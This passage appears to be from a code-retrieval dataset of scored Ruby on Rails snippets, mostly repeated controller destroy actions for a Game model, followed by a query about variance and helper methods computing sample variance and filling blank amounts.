"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.7647665",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9037bf75c39e8304b7fbd1cf170b16de",
"score": "0.76474565",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2232676b9d78f77cd33537010991cfec",
"score": "0.76143616",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9ee3cb4b0848bd4008aab5ca94e9ae1a",
"score": "0.7606457",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d93dce31389adae8c4b31904ad536216",
"score": "0.75758624",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7e928beaf0e2d2e82319ce78a36adfac",
"score": "0.7556615",
"text": "def destroy\n @resource_game = Resource::Game.find(params[:id])\n @resource_game.destroy\n\n respond_to do |format|\n format.html { redirect_to resource_games_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "012c8017358fb0c85e886c1acf60ad5c",
"score": "0.75173163",
"text": "def destroy\n @game.destroy\n json_response(nil, :no_content)\n end",
"title": ""
},
{
"docid": "35352ebfd8b7172eddaa52b122fa0282",
"score": "0.75124407",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to :action => \"admin\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "89f8586c58a77df231ae42fdb6e4aff7",
"score": "0.74709076",
"text": "def destroy\n @mygame = Mygame.find(params[:id])\n @mygame.destroy\n\n respond_to do |format|\n format.html { redirect_to mygames_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "513512bd4b6f607b33b34a0b406a0fb5",
"score": "0.74529374",
"text": "def destroy\n # @game = Game.find(params[:id])\n @game = current_user.games.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b09df21502909ec1caa5c98dc3786b",
"score": "0.7451798",
"text": "def destroy\n @game.destroy\n\n render json: { notice: 'Game was successfully removed.' }\n end",
"title": ""
},
{
"docid": "0f4445106384cdbfe484564b451da839",
"score": "0.7438237",
"text": "def destroy\n @game = Game.first(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "53a54f3021125dbd7896f9f8321992b3",
"score": "0.7428605",
"text": "def destroy\n @game = Game.find_by_key(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8bd7da7f8c5b278d044f628a559ba8b1",
"score": "0.7413794",
"text": "def destroy\n @game.destroy\n render json: @game.as_json.merge(deleted_at: Time.now.utc.iso8601), status: 200\n end",
"title": ""
},
{
"docid": "15e5e0be8de1365de3881d1fe04af7f1",
"score": "0.74106205",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: \"Game was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "244c82f57820b76ae173bd465ea7e9db",
"score": "0.74068826",
"text": "def destroy\n @game = current_session.games.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to current_session }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8e447be28f7aa107d200a92c0f807b4c",
"score": "0.74032474",
"text": "def destroy\n @html5game = Html5game.find(params[:id])\n @html5game.destroy\n\n respond_to do |format|\n format.html { redirect_to html5games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4836ef87998a02adabfe7521ea88b7d",
"score": "0.7389478",
"text": "def destroy\n unless is_admin? then\n raise 'only admins can delete games'\n end\n \n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "eaa29ea547a450e3ee810160e90a4553",
"score": "0.7365656",
"text": "def destroy\n @admin_game.destroy\n respond_to do |format|\n format.html { redirect_to admin_games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1d1fe890152ce9702557b118ff8fe376",
"score": "0.73612577",
"text": "def destroy\n @spreadapedia_game = SpreadapediaGames.find(params[:id])\n @spreadapedia_game.destroy\n\n respond_to do |format|\n format.html { redirect_to spreadapedia_games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fc8d64523649f0b322ac972c0ab3149b",
"score": "0.73503876",
"text": "def destroy\n @uploadgame = Uploadgame.find(params[:id])\n @uploadgame.destroy\n\n respond_to do |format|\n format.html { redirect_to uploadgames_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5df6fee9ca810bce789c3d760b23d81d",
"score": "0.7345517",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c4397f0141386435937f378eb72e9ad2",
"score": "0.7331941",
"text": "def destroy\n @team_game = TeamGame.find(params[:id])\n @team_game.destroy\n\n respond_to do |format|\n format.html { redirect_to team_games_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "39eb6058fd95f2ee3a745fccbaabdf02",
"score": "0.73183334",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_all_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "78b44ea82ef35f34ab7840916e2c1749",
"score": "0.7313117",
"text": "def destroy\n @admin_game.destroy\n respond_to do |format|\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7312532",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19e9e4e478881d02fee68c14f65801d2",
"score": "0.7311699",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "eaeea99a34daf45986118e917937f98c",
"score": "0.7306695",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Spiel gelöscht!' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6f6efb86d066b757c55aa08f7feca251",
"score": "0.7300932",
"text": "def destroy\n @account_game = current_account.account_games.find(params[:id])\n @account_game.destroy\n\n respond_to do |format|\n format.html { redirect_to account_account_games_url(current_account) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "284f1e22a7d9db174d362bb1fb731020",
"score": "0.7296166",
"text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "cb6d8ff7239f8df70cc7ae8d1af658d2",
"score": "0.7291881",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to admin_games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5f98515deb2e3ec821aed3503ea500e2",
"score": "0.7290808",
"text": "def destroy\n @game_round.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9a6c82e570bfcc8f44b7dc9522d3a643",
"score": "0.72907704",
"text": "def destroy\n @bettergame = Bettergame.find(params[:id])\n @bettergame.destroy\n\n respond_to do |format|\n format.html { redirect_to bettergames_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "01f19a78641aa538f2c4ca0a37b59631",
"score": "0.7286605",
"text": "def destroy\n @game_api.destroy\n respond_to do |format|\n format.html { redirect_to game_game_apis_url(game_id: @game.id), notice: 'Game api was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "45aa8e9ae01b4f6b3ab45b58900d8b33",
"score": "0.7275179",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "45aa8e9ae01b4f6b3ab45b58900d8b33",
"score": "0.7275179",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "45aa8e9ae01b4f6b3ab45b58900d8b33",
"score": "0.7275179",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "45aa8e9ae01b4f6b3ab45b58900d8b33",
"score": "0.7275179",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "45aa8e9ae01b4f6b3ab45b58900d8b33",
"score": "0.7275179",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "45aa8e9ae01b4f6b3ab45b58900d8b33",
"score": "0.7275179",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "45aa8e9ae01b4f6b3ab45b58900d8b33",
"score": "0.7275179",
"text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
ac8a78ccf40e1d7d82078c1c8b09148a
|
end update_variance fill amount with zeroes
|
[
{
"docid": "5961e11d050373e53d558cfeedd973eb",
"score": "0.0",
"text": "def fill_amount\n@fill_projects= current_user.organization.projects\n @fill_projects.each do |p|\n if p.amount.blank?\n amt= 0.0 \n p.record_timestamps=false\n p.update_attribute(\"amount\",amt)\n p.record_timestamps=true\n end \n end\n\nend",
"title": ""
}
] |
[
{
"docid": "f6ce299e48bc3cf2b00ba2154551efbe",
"score": "0.7012946",
"text": "def add_variance\n\n end",
"title": ""
},
{
"docid": "4563cd9914e975b7367b7db6cf54a24c",
"score": "0.6515761",
"text": "def discover_variance\r\n end",
"title": ""
},
{
"docid": "3035f95fd003a888c2c350355807b617",
"score": "0.64306885",
"text": "def variance; end",
"title": ""
},
{
"docid": "1e7b16d0072b8e8151670031b725a443",
"score": "0.6370813",
"text": "def sample_variance\n @mutex.synchronize do\n @M_2 / (@items - 1)\n end\n end",
"title": ""
},
{
"docid": "067d01fd5545d6470f4647ec5dfb4361",
"score": "0.6348817",
"text": "def get_variance\n end",
"title": ""
},
{
"docid": "34e6b2165db3f24d5e7f21742f0ce744",
"score": "0.6301069",
"text": "def get_variance\n (@dof > 2.0) ? (@dof / (@dof - 2)) : Float::NAN \n end",
"title": ""
},
{
"docid": "19ba693b29a283535961d5ced6967c0f",
"score": "0.62532574",
"text": "def sample_variance\n avg=self.average\n sum=self.inject(0){|acc,i|acc + (i-avg)**2}\n return(1/self.length.to_f*sum)\n end",
"title": ""
},
{
"docid": "fc719e0c45dde8b00ca7f18a9f2acc03",
"score": "0.6223443",
"text": "def sample_variance\n avg=self.average\n sum=self.inject(0){|acc,i|acc +(i-avg)**2}\n return(1/self.length.to_f*sum)\n end",
"title": ""
},
{
"docid": "fc719e0c45dde8b00ca7f18a9f2acc03",
"score": "0.6223443",
"text": "def sample_variance\n avg=self.average\n sum=self.inject(0){|acc,i|acc +(i-avg)**2}\n return(1/self.length.to_f*sum)\n end",
"title": ""
},
{
"docid": "fc719e0c45dde8b00ca7f18a9f2acc03",
"score": "0.6223443",
"text": "def sample_variance\n avg=self.average\n sum=self.inject(0){|acc,i|acc +(i-avg)**2}\n return(1/self.length.to_f*sum)\n end",
"title": ""
},
{
"docid": "fc719e0c45dde8b00ca7f18a9f2acc03",
"score": "0.6223443",
"text": "def sample_variance\n avg=self.average\n sum=self.inject(0){|acc,i|acc +(i-avg)**2}\n return(1/self.length.to_f*sum)\n end",
"title": ""
},
{
"docid": "fc719e0c45dde8b00ca7f18a9f2acc03",
"score": "0.6223443",
"text": "def sample_variance\n avg=self.average\n sum=self.inject(0){|acc,i|acc +(i-avg)**2}\n return(1/self.length.to_f*sum)\n end",
"title": ""
},
{
"docid": "1faf8102c24442f4790f1191b42ff6a6",
"score": "0.61970633",
"text": "def update_variance\n\n\n @var_projects = current_user.organization.projects(:order=>'updated_at DESC')\n \n @var_projects.each do |v|\n if v.amount != 0\n spent = v.time_records.sum(:total_hours)\n #if spent != 0 && v.amount !=0\n varce = v.amount - spent\n var_per= ((varce/v.amount)*100).round(2)\n v.record_timestamps=false\n v.update_attribute(\"variance\",varce)\n v.update_attribute(\"percent_variance\",var_per)\n v.record_timestamps=true\n # end\n end\n end\n\nend",
"title": ""
},
{
"docid": "47d81925a48cd161f0e8bd909b43c6e9",
"score": "0.6152157",
"text": "def sample_variance\n avg = self.average\n sum = self.inject(0) { |acc, i| acc + (i - avg) ** 2 }\n 1 / self.length.to_f * sum\n end",
"title": ""
},
{
"docid": "1bc2f16d877297226df61714a840f380",
"score": "0.6146543",
"text": "def sample_variance\n avg = self.average\n sum = self.inject(0) { |acc, i| acc + (i - avg)**2 }\n return(1 / self.length.to_f*sum)\n end",
"title": ""
},
{
"docid": "b9dec3c2ed53c2cc633332b7cd6e2b86",
"score": "0.6113328",
"text": "def sample_variance\n avg = mean\n sum = inject(0){|acc,i|acc +(i-avg)**2}\n sum.to_f/size\n end",
"title": ""
},
{
"docid": "453c1c449b8276049b10b089a0fdc208",
"score": "0.6102602",
"text": "def sample_variance\n mean = self.mean\n sum = self.inject(0) do |accum, index|\n accum + (index - mean) ** 2\n end\n sum/(self.length - 1).to_f\n end",
"title": ""
},
{
"docid": "b54eae048a473f9f887d9a2bdd0d1af3",
"score": "0.60995036",
"text": "def variance\n size==0 ? nil : ( m=mean and sum_of_squares.to_f/size - m*m )\n end",
"title": ""
},
{
"docid": "ea5df0cebad10435d3d08f80c1aeb1ae",
"score": "0.6063817",
"text": "def variance\n\t\t\tvar = BigDecimal.new(0)\n\t\t\t(1..@sides).each { |i|\n\t\t\t\te = BigDecimal.new(@sides+1) / BigDecimal.new(2)\n\t\t\t\tvar += (BigDecimal.new(i - e)**2) / BigDecimal.new(@sides)\n\t\t\t}\n\t\t\tvar * BigDecimal.new(@count)\n\t\tend",
"title": ""
},
{
"docid": "6be5ef50817587440ca89ceff027af62",
"score": "0.5998322",
"text": "def population_variance\n return 0 if length == 0\n sum_of_squares / length\n end",
"title": ""
},
{
"docid": "60a5971b5f189c4982b05b1bad5275d0",
"score": "0.59916854",
"text": "def expected_variance\n ((max - min) ** 2) / 12\n end",
"title": ""
},
{
"docid": "5756116bdbf57dacf15eb2c230e01214",
"score": "0.59873235",
"text": "def variance\n avg = self.average\n self.inject(0) { |acc, i| acc + (i - avg)**2 }\n end",
"title": ""
},
{
"docid": "e09ef7741b4b078b0b85e01a72ed9787",
"score": "0.5907188",
"text": "def variance\n @cleaned_data.map{ |datum| deviation(datum) ** 2.0 }.sum / n.to_f\n end",
"title": ""
},
{
"docid": "fd0ede7924eb4a0f37026477c28f51aa",
"score": "0.58587104",
"text": "def average_variance\n return '0' unless item_receipts_with_variance.present?\n result = item_receipts_with_variance.map{ |ir| (ir.price - ir.item_order.price).abs }.reduce(&:+) / item_receipts_with_variance.count\n Money.new(result * 100).to_s\n end",
"title": ""
},
{
"docid": "b69b9108652d0afd44bfdee40b3d252b",
"score": "0.58542",
"text": "def sample_variance\n stats.sample_variance\n end",
"title": ""
},
{
"docid": "8ab15ad1bb24164bf6766785e2f5fbeb",
"score": "0.58289486",
"text": "def variance\n central_moment(2)\n end",
"title": ""
},
{
"docid": "373aaf0dcdc45104384db6985f090560",
"score": "0.58169097",
"text": "def sample_variance\n return 0 if length <= 1\n sum_of_squares / (length - 1)\n end",
"title": ""
},
{
"docid": "82e62aa7c682a49039ffcc993f8929bc",
"score": "0.579841",
